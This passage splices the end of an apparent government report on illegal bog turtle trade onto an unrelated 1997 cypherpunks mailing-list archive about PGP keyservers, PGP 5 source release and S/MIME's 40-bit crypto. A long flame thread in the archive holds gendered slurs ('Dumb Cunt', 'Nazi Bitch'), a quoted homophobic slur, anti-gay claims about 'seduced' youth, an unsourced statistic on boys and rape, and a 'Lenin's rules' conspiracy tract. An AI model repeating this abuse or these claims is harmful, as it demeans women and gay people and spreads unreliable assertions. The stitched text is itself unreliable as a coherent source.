1993).
    A few specific instances of illegal bog turtle collecting and trade 
are reported below:
    (1) An undercover officer purchased eight bog turtles from a person 
who had collected them near Lancaster, Pennsylvania. Also, two 
additional bog turtles were recovered from persons who had gotten them 
from friends allegedly in the New York area (Bepler, in litt. 1993);
    (2) An individual from New Jersey was arrested for bringing bog 
turtles from New Jersey to Florida and selling them as captive-born. It 
is suspected that he collected about six turtles per year over a period 
of several years (Bepler, in litt. 1993);
    (3) A reliable source in New York reported that over 2000 wild-
caught bog turtles were shipped to Japan in a 2-year period (Murdock, 
in litt. 1990);
    (4) Researchers found several turtle traps and a much-diminished 
bog turtle population at an important bog turtle site in Pennsylvania 
(Pisapia, in litt. 1992);
    (5) In 1993, a New Jersey resident purchased 47 bog turtles in 
Florida, and since 1984 had also bought 20 additional bog turtles. This 
individual supposedly has an active breeding program for bog turtles 
(Terry Tarr, U.S. Fish and Wildlife Service, in litt. 1993);
    (6) When confronted in a New York wetland, an individual claiming 
to be a birdwatcher revealed the contents of the cloth bag he was 
carrying--a bog turtle and spotted turtle (Paul Novak, New York Natural 
Heritage Program, in litt. 1990);
    (7) A reliable source reported seeing approximately 60 bog turtles 
at the Ohio residence of a person who frequents reptile shows. Based on 
the physical appearance of the bog turtles, they were not captive-bred 
(Scott Smith, Maryland Department of Natural Resources, in litt. 1996);
    (8) Bog turtles have been available at the major Herpetological 
Expo in Orlando, Florida for the last 2 years (Herman, in litt. 1997; 
Thorp, in litt. 1997); and
    (9) Bog turtles were observed in several Florida dealerships in 
1996, although they have not been openly advertised for sale (Herman, 
in litt. 1997).
    The general consensus among bog turtle researchers, nongame 
biologists, and law enforcement officials is that illegal collecting is 
occurring at a much greater rate than detected or reported (Anon. 1991; 
Breisch, in litt. 1993; Flemming, in litt. 1991). Bog turtles are 
already extremely low in numbers throughout much of their range, and 
any additional take could eliminate marginal populations and hamper 
survival and recovery efforts.
    Protecting existing sites for bog turtles can pose a threat when 
these specific sites are revealed and publicized. In addition to the 
threat of collection for the pet trade industry, collection of bog
turtles for exhibition at nature centers is also a threat (Anon. 1991).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 14:01:05 +0800
To: cypherpunks@toad.com
Subject: Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199711040552.GAA07032@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



snow wrote:
> 
> > People kill for religion, politics, insanity, and fun.
> 
>         Nope. Economics, survival, revenge, and insanity.

	Nope. Voices inside my head.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 14:16:08 +0800
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199711040559.GAA07579@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>On Sat, 1 Nov 1997, Anonymous wrote:
>> If I were someone who wanted to make the internet look like a place 
>> that needed STRONG governmental controls I would put the words 
>> terrorists,criminals,pornographers,drug dealers/addicts,
>
>Fnord.
>

I have been wondering about all the media attention on "aids assasins"
recently. 

"With a national list of people infected with the HIV virus, people could
be more informed about the people they choose to have sex with"

	I'm sure that this national list will never be used by corporations when
hiring people. It will also never be used to discredit people either, who
would say "why are you listening to him, he is a faggot" or "he hangs out
with fags, you know how all fags are."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hayden@phoenix.net
Date: Wed, 5 Nov 1997 09:40:58 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <345F1DC1.3AC6@phoenix.net>
MIME-Version: 1.0
Content-Type: text/plain



I want to make a short comment-
First of all,
most of the Christians I know --in fact all-
dont use this kind of profanity that Jodi is using.
So I would not label her a "religous righter"
All this labeling of RRs and fundamentalists has to stop.
I believe in a fairly  literal interpretation of the bible(Lets not get into that) but--
I dont fit in your jar of fundamentalism and Jodi doesnt fit in mine--
Stereotypes of RRs are inaccurate as a whole.

You guys are preaching Free speech and acceptance and equality-
yet you are guilty of the very sins of hate  which you condemn others of.

:-)

BTW-
I found the mockery of Jesus offensive.

I am looking forward to some more posts on cyber stuff.
Before we got off on this tangent I was learning faster from this list about the net 
and its possibilities than I could ever teach myself.
Thanks!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 4 Nov 1997 21:30:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP 5.0: Keyservers
In-Reply-To: <19971104042001.4745.qmail@nym.alias.net>
Message-ID: <199711041321.IAA25174@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19971104042001.4745.qmail@nym.alias.net>, on 11/04/97 
   at 04:20 AM, lcs Mixmaster Remailer <mix@anon.lcs.mit.edu> said:

>Out of curiosity, what protection is there for PGP 5.x users submitting
>keys to the keyservers? Would it not be trivial for somebody to see what
>dialup SLIP link a key is coming from and tie that key to the person
>submitting it?

>That isn't a problem for personal keys, but it is a big problem for
>psuedonyms. Is there some kind of mechanism in place for submitting such
>keys via anonymous remailers? 

>This might already have been covered by other Cypherpunks or the PGP
>folks.

All the HTTP based servers also have e-mail access for submitting and
retreiving keys. Submitting a key via remailer should not be a problem.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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lVfkibjOctMRBFhI3bk2oCgwZZGTk3GFi1aOkFhr5aRgfuRSHjXV5LJHKrjUnNZU
0UhMVPXFKAEteIESSzD1qAveMXfbSb3r053GeRTQFF4eoFmLTPgo2zGDFQUSgx5d
cXPcdjDEZc4=
=sgYa
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 4 Nov 1997 14:38:46 +0800
To: cypherpunks@toad.com
Subject: Re: www.cypherpunks.to
Message-ID: <199711040625.HAA10218@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:
> > What happened to www.cypherpunks.to? It appears to have disappeared.
> 
> The server works fine and I can reach it from the US.

I tried www.cypherpunks.to and couldn't get connected.
I dropped the www and got sent to the www site.

And the root password there is...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 4 Nov 1997 21:36:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP compatibility
In-Reply-To: <Pine.BSF.3.96.971104082253.29652A-100000@pakastelohi.cypherpunks.to>
Message-ID: <199711041329.IAA25247@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.BSF.3.96.971104082253.29652A-100000@pakastelohi.cypherpunks.to>,
on 11/04/97 
   at 08:52 AM, Lucky Green <shamrock@cypherpunks.to> said:

I don't want to get into the how much time have you devoted to PGP thread,
I am currious of if and when there will be a release of the unmodified
source code for 5.0. Curently the only available code is that which has
been modified for the unix beta. Will there be a release of this code??
IMHO this should have been the first thing released before the
modifications were started.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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P0Ra1lDb2OgoxJyIM0nkv4DjDr8mp5IlISb/wCSYt6v4yf6y+BNy/75Cg2OXjybz
fZjCbUEXMwhJlmMnKQugbxGOkVL+1u+0KDUXrnBK9zekHyQtqDJKYx4g2FuDqx3n
fV+ENDvYA7Y=
=RZSd
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 4 Nov 1997 15:18:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: www.cypherpunks.to
In-Reply-To: <199711040625.HAA10218@basement.replay.com>
Message-ID: <Pine.BSF.3.96.971104080834.29620A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 4 Nov 1997, Anonymous wrote:

> 
> Lucky Green wrote:
> > > What happened to www.cypherpunks.to? It appears to have disappeared.
> > 
> > The server works fine and I can reach it from the US.
> 
> I tried www.cypherpunks.to and couldn't get connected.
> I dropped the www and got sent to the www site.

Seems there is an intermittent DNS problem. The machines alter ego,
http://pakastelohi.cypherpunks.to/ seems unaffected.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 4 Nov 1997 15:52:55 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP compatibility
In-Reply-To: <iNX3RsnMvFVAxjTpyHr4HQ==@bureau42.ml.org>
Message-ID: <Pine.BSF.3.96.971104082253.29652A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



[It is probably a waste of time, but I'll try it anyway...]

On Mon, 3 Nov 1997, bureau42 Anonymous Remailer wrote:

> Let me guess, Lucky, you're using Windows, right? If I was a Windows user
> exclusively I probably wouldn't give a damn either.

Windows 95/NT, MacOS, FreeBSD, Linux, Solaris, AIX, and right now I need
to deal with OS/390. 'Nuff said on the OS flame...

> PGP Inc. has taken a *multi-platform* *network-wide* system and broken it.
> They released a Windows version months ago completely severing lines of
> communication between 5.0 and 2.x users. 
> 
> Finally, after months, they get around to releasing a UNIX version so that
> everybody else can use PGP 5.x.

I probably should find it amusing to read such nonsene by people that
don't know what they are talking about, but frankly, I just find it
annoying.

PGP released their UNIX code the same day they released  their Windows
code. I know. I was there. I have 7 volume of source on my shelf to
prove it. Hurt my back lifting several boxes for re-distribution...

That it took so long before the source was available was due to the US
export laws. [The Windows and Mac source still  isn't 100% proofread].

BTW, how many pages did *you* proofread? Thought so. I
organized a 30 man tent full of proofreaders to get get stacks of
pages full of assembler proofread. By the end of the weekend, the
source was up for ftp. Your contribution to the project was...? 'Nuff
said on this topic.

 >Of course the damned thing *still* isn't
> stable,

You have/are going to contribute how many man months of highly qualified
programmer time to make PGP 5 fully stable? ... Right...I see. 

>*still* has a timebomb in it,

https://www.cypherpunks.to/pgp5hacks/ [For the braindead...]

> and *still* has the command line
> broken.

Compatibility mode is not yet implemented. Are you voluntering your
time?... Oh.... Hmm..

Anyway, I got to go and get some work done. Been nice talking with you.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jodi Hoffman <jlhoffm@ibm.net>
Date: Tue, 4 Nov 1997 22:16:22 +0800
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Jodi Hoffman:  Homophobe!!!!!!!!
In-Reply-To: <199711040256.SAA25016@adnetsol.adnetsol.com>
Message-ID: <345F2B21.1F66@ibm.net>
MIME-Version: 1.0
Content-Type: text/plain



Ross Wright wrote:
> 
> From:
> 
> http://199.227.69.135/ramp/aletter.html
> 
> You might wish to add that most "homosexual" suicides are probably
> normal kids who have been seduced into an abnormal lifestyle
> encouraged by our schools and culture; or at the very least, they
> were probably suffering under the weight of excessive sexual
> harassment, in the form of our current crop of pathological
> sex-education programs.
> Hmmm...didn't I already have that written there?  If not, it's probably in our book.
-- 
Jodi Hoffman   R.A.M.P.  http://www.gocin.com/ramp    
Victimization of Children/Research & Education Council of America
1304 SW 160th Avenue, Suite 122  Weston, Florida 33326
Phone: (954) 349-0366   Fax: (954) 349-0361





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 4 Nov 1997 23:58:21 +0800
To: Ian Clysdale <iancly@entrust.com>
Subject: RE: S/MIME
In-Reply-To: <c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104145454Z-34522@mail.entrust.com>
Message-ID: <199711041537.KAA26462@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In
<c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104145454Z-34522@mail.entrust.com>,
on 11/04/97 
   at 09:54 AM, Ian Clysdale <iancly@entrust.com> said:

>I'm sorry, but I have to disagree on that one.  S/MIME DOES use 40 bit 
>RC2, by the standard, but the standard specifically states the  weakness
>of those keys, and recommends using another implementation. 
> The standard strongly recommends the use of triple-DES, and  apparently
>the Communicator and Outlook S/MIME triple-DES now  interoperates
>properly.  Deming has also had a plugin which does  triple-DES for quite
>a while.  In addition, individual vendors are  allowed to put in any
>other algorithms into an S/MIME implementation  that they desire - for
>example, the default algorithm in Entrust's  S/MIME implementation is
>CAST-128.

>The point that I'm trying to make here is that while PGP defines both 
>algorithm and protocol, S/MIME just defines protocol.  As long as you 
>have two clients which share common algorithms, then you can use any 
>algorithms that you like with S/MIME.


This is not true.

If you read the S/MIME specs it says one MUST implement the RC2/40
algorithm. A MUST in an RFC has a very definate purpose: If an aplication
does not implement all MUST sections of the RFC then it is not compliant!
To create an S/MIME compliant application one MUST implement RC2/40 and
one MUST pay RSA to do so!!

This is the BIG difference between S/MIME and Open-PGP. In Open-PGP there
is no MUST to implemnet weak crypto. In Open-PGP there is no MUST to
implement propritary algoritms.

For those in the cheap seats:

S/MIME:

- -Weak Crypto
- -Pay RSA

Open-PGP:

- -Strong Crypto
- -Don't Pay Anyone

I think that this should be simple enough for anyone here to understand.

If your Entrust product is going to be using S/MIME to communicate with
overseas users of Netscape and/or MS Outlook then you will be using RC2/40
to do so. That is the reason it is in the specs as a MUST, so MS and
Netscape can export their products!!!

Netscape, Microsoft, and RSA are letting thier greed get in the way of
developing a message encryption protocol that provides strong crypto to
ALL users.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
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LJDZnTyQvVF/dLvbo5cxVZky8rhdp5GsS5jH1ASlaQGuFzPVqddkZouw5a8GRicw
fLfJvRethaSE2JEHk5GSVehGNHkGI6UbdIWTYGcap5aHxmAXouJTsAWkJbULdUKq
2GHkdXU6LN0=
=7Pba
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Clysdale <iancly@entrust.com>
Date: Tue, 4 Nov 1997 23:19:25 +0800
To: "'Nobuki Nakatuji'" <JonWienk@ix.netcom.com>
Subject: RE: S/MIME
Message-ID: <c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104145454Z-34522@mail.entrust.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm sorry, but I have to disagree on that one.  S/MIME DOES use 40 bit 
RC2, by the standard, but the standard specifically states the 
weakness of those keys, and recommends using another implementation. 
 The standard strongly recommends the use of triple-DES, and 
apparently the Communicator and Outlook S/MIME triple-DES now 
interoperates properly.  Deming has also had a plugin which does 
triple-DES for quite a while.  In addition, individual vendors are 
allowed to put in any other algorithms into an S/MIME implementation 
that they desire - for example, the default algorithm in Entrust's 
S/MIME implementation is CAST-128.

The point that I'm trying to make here is that while PGP defines both 
algorithm and protocol, S/MIME just defines protocol.  As long as you 
have two clients which share common algorithms, then you can use any 
algorithms that you like with S/MIME.

								ian

----------
From:  Jonathan Wienke [SMTP:JonWienk@ix.netcom.com]
Sent:  Monday, November 03, 1997 9:34 PM
To:  Nobuki Nakatuji; cypherpunks@toad.com
Subject:  Re: S/MIME

At 08:49 PM 11/2/97 PST, Nobuki Nakatuji wrote:
>Is S/MIME secure than PGP ?

No. S/MIME uses 40 bit keys, which are trivially breakable by 
paralell
brute-force key search attacks.

Jonathan Wienke






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 5 Nov 1997 00:37:08 +0800
To: Ian Clysdale <iancly@entrust.com>
Subject: RE: S/MIME
In-Reply-To: <c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104154014Z-34701@mail.entrust.com>
Message-ID: <199711041609.LAA26750@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In
<c=CA%a=_%p=NorTel_Secure_Ne%l=APOLLO-971104154014Z-34701@mail.entrust.com>,
on 11/04/97 
   at 10:40 AM, Ian Clysdale <iancly@entrust.com> said:

>   Either that, or Netscape, Microsoft, and RSA are being practical  and
>doing something that will legally put SOME cryptography in the  hands of
>everyone today.  It's all in how you look at it.

There is an old saying in the Security Field: "Poor Security is worse than
no security at all".

I doubt that you would find few if any that would agree with you that it
is a good thing having the masses using weak crypto. At least the US
members of the Open-PGP group are willing to sacrifice overseas sales in
the effort to provide STRONG crypto to EVERYONE. It is the right thing to
do. I am sorry to see that you do not uderstand this. 

If you choose to dance with the Devil to line your pockets that is your
choice but don't expect me to recomend that anyone join in with you.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
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=CKQq
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 5 Nov 1997 00:45:28 +0800
To: tm@dev.null
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <345E4500.5828@dev.null>
Message-ID: <199711041609.QAA03086@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



This Jodi Hoffman is most likely laughing at you all
after baiting you so successfully.

I refuse to believe that she could have been so dumb to write
what she wrote, seriously.


igor

TruthMonger wrote:
> 
> 
> Having Tourette Syndrome can sometimes be a burden, particularly when
> one goes through a long period where their obscene outbursts are serving
> no particular purpose. So it is refreshing when I come across situations
> where all of those huddled masses of naughty words, struggling to be
> free, can be expressed in a meaningful manner, thus living a productive
> life instead of being just wasted.
> 
> Declan McCullagh wrote:
> > [Wow. First time I've ever been personally accused of being "a major
> > reason for the downward spiral of society." --Declan]
> 
>   Rookie...
>  
> > ---------- Forwarded message ----------
> > Date: Mon, 03 Nov 1997 11:53:27 -0500
> > From: Jodi Hoffman <jlhoffm@ibm.net>
> > To: fight-censorship@vorlon.mit.edu
> > Subject: Why porn must be stopped at all costs.....
> > 
> > ALL:
> > I've forgotten how long I've been on this email list.  Maybe too long.
> 
>   Don't let the door hit you in the ass on your way out.
> 
> > As I wander back through all the posts on this list, it finally dawns on
> > me what this is all about, this 'fight censorship' rhetoric.  It's
> > nothing more and nothing less than a lot of egotistical, self-serving
> > brats who absolutely refuse to grow up, including you, Declan.  Don't
> > you realize that YOU are a major reason for the downward spiral of
> > society?
> 
>   Why do I get the feeling that this Dumb Cunt (TM) has 'all of the
> answers' for society and everyone in it, and is about to share them 
> with us?
>   Well, if she expects us to listen to the divine wisdom of her
> words from the mount, I guess she had better explain to us how we
> are just dirt under her feet, so that we will realize we need to
> listen and learn from her.
> 
> >  Instead of trying to protect children, you want to empower
> > them.
> 
>   The shame! The shame!
> 
> >  Even a moron knows that when you do so, that power has to be
> > taken from someone.  
> 
>   Typo...*should* read "Only a moron knows..."
> 
> >Unfortunately, that someone is the parent.  I have
> > to ask myself just how many on this list have children.  Not many, I
> > would say.
> 
>   That's right...you ask AND answer the questions, and we'll just 
> sit here and shut the fuck up.
> 
> > Someone on this list, I forget who, has made numerous attempts at
> > convincing us that pornography 'does no harm' to children.
> 
>   Does "numerous attempts at convincing" translate to "expressed an
> opinion I disagreed with?"
> 
> >  It is
> > exactly at this point that I must draw a line.  Studies have shown that
> > an event which lasts even so much as three-tenths of a second, within
> > five to ten minutes has produced a structural change in the brain.
> > Exposure to porn causes actual brain damage, especially in a child.
> 
>   Good idea to make vague, unsubstantiated claims in this area. If you
> provided sources and references, someone might be able to throw them
> back in your face and laugh at you for being an ignorant sack of shit,
> using self-serving 'studies' to support untenable logic.
>  
> > So, keep protecting your porn-induced orgasms.
> 
>   Protecting? Hell, I strive to share them with as many people as
> possible. 
> 
> >  That's exactly what happened with the Hitler youth, etc...
> 
>   Uuhhh...you've got a 'study' to not-quote on this theory too, eh?
> 
> >  After all, I'm sure it does help
> > to blur the lines of reality.
> 
>   This makes even less sense than the last sentence. Are you trying
> to communicate propaganda that you don't fully understand?
>   Perhaps you should just stick to slogans and sound-bytes, rather 
> than trying to turn strings of disparate sentences into paragraphs.
> 
> <end of 'Windup'>
> > =====================
> <and here comes the 'Pitch'>
> 
> > Please PRINT THIS OUT and save for later reference.  Rules number 1
> > through 7 have already been put into effect.  Rule number 8 is currently
> > being implemented.  Numbers 9 and 10 are already in the beginning
> > phases.   If you're not yet convinced that you are contributing to the
> > ruination of America, I would hope you will be by the time you finish
> > reading this.
> > Paul and Jodi Hoffman
> > Weston, Florida
> > 
> > "When an opponent declares, "I will not come over to your side", I
> > calmly say, "Your child belongs to us already..."  --Adolph Hitler,
> > speaking about the schools and their indoctrination of the Hilterjugend
> > (Hitler Youth Corps).
> 
>   Are you positive this quote isn't from Eisenhower, in regard to the
> American public educational system?
> 
> > ==================================================
> > LENIN'S BLUEPRINT FOR WORLD DOMINATION
> > These 'Rules' are meant to be a loose parody of the Ten Commandments,
> > and are particularly emphasized at the Lenin School of Political
> > Warfare.   They are practical rules that are being implemented all over
> > the world -- with special emphasis on the strongest foe of Communism,
> > the United States.
> > Study these Rules very carefully. And then reflect upon what is
> > happening in our society right now.   Perhaps this list will provide
> > answers to some of the questions that seemed --until now -- to have no
> > answers.
> > Lenin himself said that it didn't matter that three-fourths of the world
> > be destroyed, just so the remnant were good Communists.
> 
>   Are you sure this wasn't Nixon, taling about Vietnam and Democracy?
>  
> > RULE FOR REVOLUTION #1:     CORRUPT THE NATION'S YOUTH
> 
>   Alright! Party time!
>  
> > THE RULE:
> > The future of any nation lies with its youth. So corrupt them; since
> > religion teaches moral virtue, erode the churches and divert the young
> > from religion. Make them interested only in themselves. Get them
> > involved in drugs, alcohol, and sex. Get them addicted to privileges and
> > rights.
> >
> > THE DUMB CUNT'S OPINION:
> > Many of today's youth are grossly overprivileged, committed to fashion,
> > physically flabby and lazy, and mentally undisciplined. If they don't
> > want to do something, they simply will not do it. And if they want to do
> > something to indulge themselves, no law or moral standard will hold them
> > back.  They feel that they are entitled to the 'good things in life,'
> > not as a reward for hard work, but as an expected gift, to be received
> > without effort and even without asking.  And where do they learn such
> > slovenliness? Just spend two hours in front of a television watching a
> > random selection of situation comedies to find out. Unfortunately, kids
> > who fit the above description usually model themselves after their
> > parents.  Such parasitic habits would not be tolerated in the former
> > Soviet Union.
> > The prevailing attitude among today's pampered American youth is one of
> > nihilism ( I am nothing, life has no meaning, I don't care) -- and for
> > good reason.  Over 75 percent of America's high school boys now think
> > it's acceptable to rape a girl at any age.  Wonder why anymore?
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   It sounds like the Dumb Cunt (TM) is suggesting that the former Soviet
> Union would have been a better place to raise our kids.
>   Yep, go to any high school and all the boys talk about is going over
> to the maternity wing of the hospital and porking the little sluts as
> they exit the womb. Honest! There are _studies_ that show this!
> 
>  > RULE FOR REVOLUTION #2:     CONTROL THE MASS MEDIA
> > 
> > THE RULE:
> > Since the media shapes the minds of the people, infiltrate it and
> > control it.  Dominate television, radio, and the newspapers, and you
> > control the minds of the people.
> >
> > THE DUMB CUNT'S OPINION:
> > It is quite obvious that traditional values are considered ridiculous to
> > all branches of the media.   Christians, clergy, and even Christ Himself
> > are held up as objects of scorn and mocking laughter by television,
> > motion pictures, radio, artists, and songwriters.  In the place of
> > decency and morality, a constant stream of Left-wing values is
> > presented.
> > Homosexuality, abortion, violence, and contempt for all parental and
> > governmental authority is the prevailing order of the day.   A
> > particularly powerful form of media is represented by the so-called
> > "arts community."   Some latter-day "artists" actually make a
> > pretty good living by mocking traditional values and Christianity.
> > Consider Andres Sorrano's "Piss Christ" (a photograph of a crucifix
> > submerged in urine) or Robert Mapplethorp's photos, which include one
> > showing a bullwhip protruding out of his rear end.
> > 
> > This media bias is not a fantasy of a few right-wing whiners; this is
> > cold, hard reality.
> > The extreme leftward tilt of the media has been documented by impartial
> > observers and study managers, and has even been acknowledged by the
> > press itself.
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   It is unconscienable for the mass media to hold traditional values 
> up to scorn, and mock Ra, Isis, and the many, many gods who were born
> of a virgin and died and rose after three days, the last of which was...
> hang on, his name is on the tip of my tongue...Jesus!
>   Remember: left wing values =/= decency and morality
>   Is the Dumb Cunt telling us that the Moral Majority, which would
> by definition be the "prevailing order of the day," are a bunch of
> queer, violent aborionists with contempt for parental authority?
> I _thought_ there was something weird about those fuckers.
>   Those were non-Christian 'impartial' observers and study managers,
> right? <snicker-snicker-guffah!>
> 
>  > RULE FOR REVOLUTION #3:     ENCOURAGE PUBLIC INDIFFERENCE
> > 
> > THE RULE:
> > Cause the people to become disinterested in their own government and in
> > world affairs. Get them to feel disenfranchised. Get them to ridicule
> > and lose respect for government leaders.
> > 
> > THE DUMB CUNT'S OPINION:
> > Americans now vote at a lower rate than at any other time in our
> > history. Every American knows how disenfranchised and powerless the
> > average voter feels.  The media constantly trumpet instances of
> > hypocrisy and corruption in our government, despite the fact that we
> > have the most open and honest political system in the world.
> 
>   Hold it!
>   <laugh> <barf> <laugh> <barf>
>   OK, continue...
> 
> >   The
> > United States Supreme Court has wrested much of the State's power from
> > them with judicial activism.   This means that the people's
> > representatives at the State level -- and therefore the people
> > themselves -- have much less of a voice in their own government.
> > On the state level, when people or local legislators finally manage to
> > pass a conservative law regarding abortion, pornography or
> > homosexuality, it is invariably challenged by Neo-liberal groups and
> > struck down by higher courts, leading voters to ask themselves
> > "Why bother participating in the process? We have no real voice in how
> > things are run anyway!"
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   This is the communists doing this, again, right? Flouridated water,
> etc?
>  
> > RULE FOR REVOLUTION #4:     ENCOURAGE PUBLIC BICKERING
> > 
> > THE RULE:
> > Divide the people into hostile groups. Divide them against themselves by
> > getting them to squabble about inconsequential social issues.
> > 
> > THE DUMB CUNT'S OPINION:
> > Never before have so many trivial issues captured so much air time.
> > Major construction and other projects are halted due to sometimes
> > trivial environmental concerns.  Critical research which uses animals is
> > halted or impeded by animal-rights groups.  Sodomy rights, old- growth
> > timber, anti-fur, and dozens of other Neoliberal causes (and the
> > conservative backlash) cause more friction among our nation's people
> > than in any other nation in the world.
> > 
> > Meanwhile, the real issues of importance are either entirely neglected
> > or paid weak lip service:   Crime, poverty, hunger and, beneath all of
> > them, the moral disintegration of our country.   All of these have lead
> > to despair among those affected and encourage violent change at any
> > cost, with no thought given to the kind of change being fought for.
> > Naturally, when conservatives react to Neoliberal initiatives with
> > concrete action, they are painted as agents of "divisiveness" and
> > "disunity," further leading to the impression that American society is
> > composed entirely of squabbling special-interest groups.
> 
> THE TRUTHMONGERING VERNACULAR TRANSLATION AND CRITIQUE:
>   If the Dumb Cunt (TM) and her right-wing bum-buddies would quit
> opposing environmental concerns, animal-rights, sodomy and dozens 
> of other Neoliberal causes, then there wouldn't be all of that 
> bickering now, would there? 
>   The TruthMonger of the fact is, the problem is that the "real issues
> of importance" *_ARE_* the subject of "concrete action" by those who
> have decided that their own conservative values should be legislated
> into governmental existence in the interests of punishing and 
> imprisoning those with different values.
>   I've never seen anyone imprisoned for _not_ smoking a joint.
>   Think about _that_ you Ignorant Nazi Bitch!
> 
> > RULE FOR REVOLUTION #5:      SEIZE POWER, THEN CENSOR
> > 
> > THE RULE:
> > Always preach true democracy, but seize power as completely and
> > ruthlessly as possible.  Vigorously censor viewpoints that conflict with
> > ours.
> > 
> > THE DUMB CUNT'S OPINION:
> > If the slightest complaint against pornography in our schools is raised
> > by concerned parents, People for the American Way (PAW), the ACLU, and
> > other left-wing groups instantly shout "censorship!"   But they say not
> > a word when it is pointed out that the Bible and all mention of morality
> > in textbooks have been ruthlessly hounded from the schools.
> > 
> > Religion has literally disappeared from our children's textbooks. The
> > media relentlessly suppress the reasoning behind conservative and
> > traditional viewpoints while reporting their version of the facts and
> > claiming "impartiality."
> > 
